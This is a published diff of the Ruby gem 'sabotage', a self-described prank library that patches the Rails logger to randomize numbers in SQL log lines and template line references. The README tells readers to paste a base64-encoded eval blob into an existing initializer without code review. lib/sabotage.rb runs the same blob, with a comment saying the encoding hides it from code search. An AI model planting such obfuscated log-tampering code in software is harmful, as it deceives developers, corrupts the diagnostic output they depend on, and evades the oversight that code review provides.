sabotage 1.2.3
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/MIT-LICENSE +20 -0
- data/README.md +61 -0
- data/Rakefile +27 -0
- data/lib/sabotage.rb +43 -0
- data/lib/sabotage/railtie.rb +4 -0
- data/lib/sabotage/version.rb +3 -0
- data/lib/tasks/sabotage_tasks.rake +4 -0
- metadata +80 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 57d94d3eb3aa9c0b179a4539dce1b16b1f7d8be32f0e68b07cae659aaf26df79
|
4
|
+
data.tar.gz: b2803f1b951292dee3386ae0acaafab883a60a7244ded20b0d884de7f26d9d59
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 4985ff2ee52bf5856c88857d51be40982c039ab8af2e813ace55c1d58c0425dec57e163b38e1a42e67c654d5a2c0744cbbb5e19f08a95b680be3d7d6e7cdb94c
|
7
|
+
data.tar.gz: 9c7cddbc7873d3db8a2ffc98b946c5f8ca9b2f55c3f5d54a344d0b7970f989ce4385d31c134b2bf1b42b617436041736a1f3214af2e8cf07ab9a07093ca0e69a
|
data/MIT-LICENSE
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
Copyright 2020 Igor Kasyanchuk
|
2
|
+
|
3
|
+
Permission is hereby granted, free of charge, to any person obtaining
|
4
|
+
a copy of this software and associated documentation files (the
|
5
|
+
"Software"), to deal in the Software without restriction, including
|
6
|
+
without limitation the rights to use, copy, modify, merge, publish,
|
7
|
+
distribute, sublicense, and/or sell copies of the Software, and to
|
8
|
+
permit persons to whom the Software is furnished to do so, subject to
|
9
|
+
the following conditions:
|
10
|
+
|
11
|
+
The above copyright notice and this permission notice shall be
|
12
|
+
included in all copies or substantial portions of the Software.
|
13
|
+
|
14
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
15
|
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
16
|
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
17
|
+
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
18
|
+
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
19
|
+
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
20
|
+
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
data/README.md
ADDED
@@ -0,0 +1,61 @@
|
|
1
|
+
# Sabotage
|
2
|
+
|
3
|
+
Coding & debugging must be fun. Make life a bit harder for your colleagues :)
|
4
|
+
|
5
|
+
Just try to put this code without code review into your app and start watching reactions of your colleagues.
|
6
|
+
|
7
|
+
Code from this gem is changing logs and randomizing log output. It's impacting output like:
|
8
|
+
|
9
|
+
```
|
10
|
+
Post Load (0.1ms) SELECT "posts".* FROM "posts" ORDER BY "posts"."id" DESC LIMIT ? [["LIMIT", 1]
|
11
|
+
↳ app/views/posts/index.html.erb:7
|
12
|
+
Post Load (0.2ms) SELECT "posts".* FROM "posts"
|
13
|
+
↳ app/views/posts/index.html.erb:25
|
14
|
+
```
|
15
|
+
|
16
|
+
It will change numbers in `[["LIMIT", 1]` to random `[["LIMIT", 2]` or `[["LIMIT", 5]`.
|
17
|
+
Or `app/views/posts/index.html.erb:7` to `app/views/posts/index.html.erb:17` or to `app/views/posts/index.html.erb:5`
|
18
|
+
|
19
|
+
## Usage
|
20
|
+
|
21
|
+
There are 2 options how you can make a sabotage on your project.
|
22
|
+
|
23
|
+
- add as gem into Gemfile
|
24
|
+
- without adding a gem, just put code below into some existing `config/initializers/*`
|
25
|
+
|
26
|
+
```ruby
|
27
|
+
eval(Base64.decode64(%{CiAgY2xhc3MgU3RyaW5nCiAgICBkZWYgdG9fcmFuZG9tX251bWJlcgogICAg
|
28
|
+
ICByYW5kKHNlbGYubWF0Y2goL1xkKy8pWzBdLnRvX2kgKiAyKSArIDEKICAg
|
29
|
+
IGVuZAogIGVuZAogIG1vZHVsZSBBY3RpdmVTdXBwb3J0CiAgICBjbGFzcyBM
|
30
|
+
b2dnZXIgPCA6OkxvZ2dlcgogICAgICBjbGFzcyBTaW1wbGVGb3JtYXR0ZXIg
|
31
|
+
PCA6OkxvZ2dlcjo6Rm9ybWF0dGVyCiAgICAgICAgZGVmIGNhbGwoc2V2ZXJp
|
32
|
+
dHksIHRpbWVzdGFtcCwgcHJvZ25hbWUsIG1zZykKICAgICAgICAgIHN0ciA9
|
33
|
+
ICIje1N0cmluZyA9PT0gbXNnID8gbXNnIDogbXNnLmluc3BlY3R9XG4iCiAg
|
34
|
+
ICAgICAgICBzdHIuZ3N1YiEoL1xkK1xdLykgeyB8ZXwgZS50b19yYW5kb21f
|
35
|
+
bnVtYmVyIH0KICAgICAgICAgIFsncmInLCAnc2xpbScsICdoYW1sJywgJ2Vy
|
36
|
+
YicsICdqYnVpbGRlciddLmVhY2ggZG8gfGVlfAogICAgICAgICAgICBzdHIu
|
37
|
+
Z3N1YiEoL1wuI3tlZX06XGQrLykgICB7IHxlfCAiLiN7ZWV9OiN7ZS50b19y
|
38
|
+
YW5kb21fbnVtYmVyfSIgfQogICAgICAgICAgZW5kCiAgICAgICAgICBzdHIK
|
39
|
+
ICAgICAgICBlbmQKICAgICAgZW5kCiAgICBlbmQKICBlbmQK}))
|
40
|
+
```
|
41
|
+
|
42
|
+
(if you like to see source - you can do it here: https://www.base64decode.org/)
|
43
|
+
|
44
|
+
|
45
|
+
## Installation as Gem
|
46
|
+
|
47
|
+
```ruby
|
48
|
+
gem 'sabotage'
|
49
|
+
```
|
50
|
+
|
51
|
+
or
|
52
|
+
|
53
|
+
add into initializers, or application.rb at the bottom of the file.
|
54
|
+
|
55
|
+
## Contributing
|
56
|
+
|
57
|
+
You are welcome to contribute :)
|
58
|
+
|
59
|
+
## License
|
60
|
+
|
61
|
+
The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).
|
data/Rakefile
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
begin
|
2
|
+
require 'bundler/setup'
|
3
|
+
rescue LoadError
|
4
|
+
puts 'You must `gem install bundler` and `bundle install` to run rake tasks'
|
5
|
+
end
|
6
|
+
|
7
|
+
require 'rdoc/task'
|
8
|
+
|
9
|
+
RDoc::Task.new(:rdoc) do |rdoc|
|
10
|
+
rdoc.rdoc_dir = 'rdoc'
|
11
|
+
rdoc.title = 'Sabotage'
|
12
|
+
rdoc.options << '--line-numbers'
|
13
|
+
rdoc.rdoc_files.include('README.md')
|
14
|
+
rdoc.rdoc_files.include('lib/**/*.rb')
|
15
|
+
end
|
16
|
+
|
17
|
+
require 'bundler/gem_tasks'
|
18
|
+
|
19
|
+
require 'rake/testtask'
|
20
|
+
|
21
|
+
Rake::TestTask.new(:test) do |t|
|
22
|
+
t.libs << 'test'
|
23
|
+
t.pattern = 'test/**/*_test.rb'
|
24
|
+
t.verbose = false
|
25
|
+
end
|
26
|
+
|
27
|
+
task default: :test
|
data/lib/sabotage.rb
ADDED
@@ -0,0 +1,43 @@
|
|
1
|
+
require "sabotage/railtie"
|
2
|
+
|
3
|
+
module Sabotage
|
4
|
+
end
|
5
|
+
|
6
|
+
# code = %q{
|
7
|
+
# class String
|
8
|
+
# def to_random_number
|
9
|
+
# rand(self.match(/\d+/)[0].to_i * 2) + 1
|
10
|
+
# end
|
11
|
+
# end
|
12
|
+
# module ActiveSupport
|
13
|
+
# class Logger < ::Logger
|
14
|
+
# class SimpleFormatter < ::Logger::Formatter
|
15
|
+
# def call(severity, timestamp, progname, msg)
|
16
|
+
# str = "#{String === msg ? msg : msg.inspect}\n"
|
17
|
+
# str.gsub!(/\d+\]/) { |e| e.to_random_number }
|
18
|
+
# ['rb', 'slim', 'haml', 'erb', 'jbuilder'].each do |ee|
|
19
|
+
# str.gsub!(/\.#{ee}:\d+/) { |e| ".#{ee}:#{e.to_random_number}" }
|
20
|
+
# end
|
21
|
+
# str
|
22
|
+
# end
|
23
|
+
# end
|
24
|
+
# end
|
25
|
+
# end
|
26
|
+
# }
|
27
|
+
# # encode code into base64 to hide it from regular code search
|
28
|
+
# puts Base64.encode64(code)
|
29
|
+
|
30
|
+
# is the same as above
|
31
|
+
eval(Base64.decode64(%{CiAgY2xhc3MgU3RyaW5nCiAgICBkZWYgdG9fcmFuZG9tX251bWJlcgogICAg
|
32
|
+
ICByYW5kKHNlbGYubWF0Y2goL1xkKy8pWzBdLnRvX2kgKiAyKSArIDEKICAg
|
33
|
+
IGVuZAogIGVuZAogIG1vZHVsZSBBY3RpdmVTdXBwb3J0CiAgICBjbGFzcyBM
|
34
|
+
b2dnZXIgPCA6OkxvZ2dlcgogICAgICBjbGFzcyBTaW1wbGVGb3JtYXR0ZXIg
|
35
|
+
PCA6OkxvZ2dlcjo6Rm9ybWF0dGVyCiAgICAgICAgZGVmIGNhbGwoc2V2ZXJp
|
36
|
+
dHksIHRpbWVzdGFtcCwgcHJvZ25hbWUsIG1zZykKICAgICAgICAgIHN0ciA9
|
37
|
+
ICIje1N0cmluZyA9PT0gbXNnID8gbXNnIDogbXNnLmluc3BlY3R9XG4iCiAg
|
38
|
+
ICAgICAgICBzdHIuZ3N1YiEoL1xkK1xdLykgeyB8ZXwgZS50b19yYW5kb21f
|
39
|
+
bnVtYmVyIH0KICAgICAgICAgIFsncmInLCAnc2xpbScsICdoYW1sJywgJ2Vy
|
40
|
+
YicsICdqYnVpbGRlciddLmVhY2ggZG8gfGVlfAogICAgICAgICAgICBzdHIu
|
41
|
+
Z3N1YiEoL1wuI3tlZX06XGQrLykgICB7IHxlfCAiLiN7ZWV9OiN7ZS50b19y
|
42
|
+
YW5kb21fbnVtYmVyfSIgfQogICAgICAgICAgZW5kCiAgICAgICAgICBzdHIK
|
43
|
+
ICAgICAgICBlbmQKICAgICAgZW5kCiAgICBlbmQKICBlbmQK}))
|
metadata
ADDED
@@ -0,0 +1,80 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: sabotage
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 1.2.3
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Igor Kasyanchuk
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2020-01-11 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: rails
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - ">="
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: '0'
|
20
|
+
type: :runtime
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - ">="
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: '0'
|
27
|
+
- !ruby/object:Gem::Dependency
|
28
|
+
name: sqlite3
|
29
|
+
requirement: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - ">="
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: '0'
|
34
|
+
type: :development
|
35
|
+
prerelease: false
|
36
|
+
version_requirements: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - ">="
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: '0'
|
41
|
+
description: Coding & debugging must be fun. Make life a bit harder for your colleagues
|
42
|
+
:)
|
43
|
+
email:
|
44
|
+
- igorkasyanchuk@gmail.com
|
45
|
+
executables: []
|
46
|
+
extensions: []
|
47
|
+
extra_rdoc_files: []
|
48
|
+
files:
|
49
|
+
- MIT-LICENSE
|
50
|
+
- README.md
|
51
|
+
- Rakefile
|
52
|
+
- lib/sabotage.rb
|
53
|
+
- lib/sabotage/railtie.rb
|
54
|
+
- lib/sabotage/version.rb
|
55
|
+
- lib/tasks/sabotage_tasks.rake
|
56
|
+
homepage: https://github.com/igorkasyanchuk/sabotage
|
57
|
+
licenses:
|
58
|
+
- MIT
|
59
|
+
metadata: {}
|
60
|
+
post_install_message:
|
61
|
+
rdoc_options: []
|
62
|
+
require_paths:
|
63
|
+
- lib
|
64
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
65
|
+
requirements:
|
66
|
+
- - ">="
|
67
|
+
- !ruby/object:Gem::Version
|
68
|
+
version: '0'
|
69
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
70
|
+
requirements:
|
71
|
+
- - ">="
|
72
|
+
- !ruby/object:Gem::Version
|
73
|
+
version: '0'
|
74
|
+
requirements: []
|
75
|
+
rubygems_version: 3.0.6
|
76
|
+
signing_key:
|
77
|
+
specification_version: 4
|
78
|
+
summary: Coding & debugging must be fun. Make life a bit harder for your colleagues
|
79
|
+
:)
|
80
|
+
test_files: []
|